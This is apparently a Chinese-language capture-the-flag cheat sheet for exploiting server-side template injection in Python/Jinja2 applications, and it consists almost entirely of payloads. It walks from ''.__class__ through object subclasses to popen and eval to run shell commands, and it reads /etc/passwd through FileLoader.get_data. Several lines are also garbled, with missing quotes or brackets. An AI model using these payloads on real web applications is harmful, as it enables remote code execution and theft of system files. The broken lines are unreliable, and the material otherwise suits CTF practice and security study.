首先进行一个简单判断,确实存在 SSTI 例如:${{44}}、{4*4}、{{44}}
参数可以通过字典爆破获得
读取当前的类别 ''.__class__
读取父类 ''.__class__.__base__
读取 object 下子类 ''.__class__.__base__.__subclasses__()
选择其中的一个子类 ''.__class__.__base__.__subclasses__()[数字]
初始化并且加载该类下可用的函数 ''.__class__.__base__.__subclasses__()[数字].__init__.__globals__
<class '_frozen_importlib_external.FileLoader'> | 79 |
---|---|
''.__class__.__base__.__subclasses__()[117].__init__.__globals__‘popen’('ls').read() //不加read()返回的是地址 | 117 |
先使用__builtins__加载内嵌函数,再调用内嵌函数 ''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval'] ("__import__('os').popen('ls').read()") //eval()里面就可以写python代码 | 64 |
比如文件读取 <class '_frozen_importlib_external.FileLoader'> 类下的 get_data 函数
''.__class__.__base__.__subclasses__()[79]["get_data"](0,'/etc/passwd')
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__'popen'('cat flag').read()}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
其中蓝色字体为执行命令,黄色字体为类下的函数,其中的数字根据题目而变化
实际用法
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('find / -name fl**').read()}}
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()}}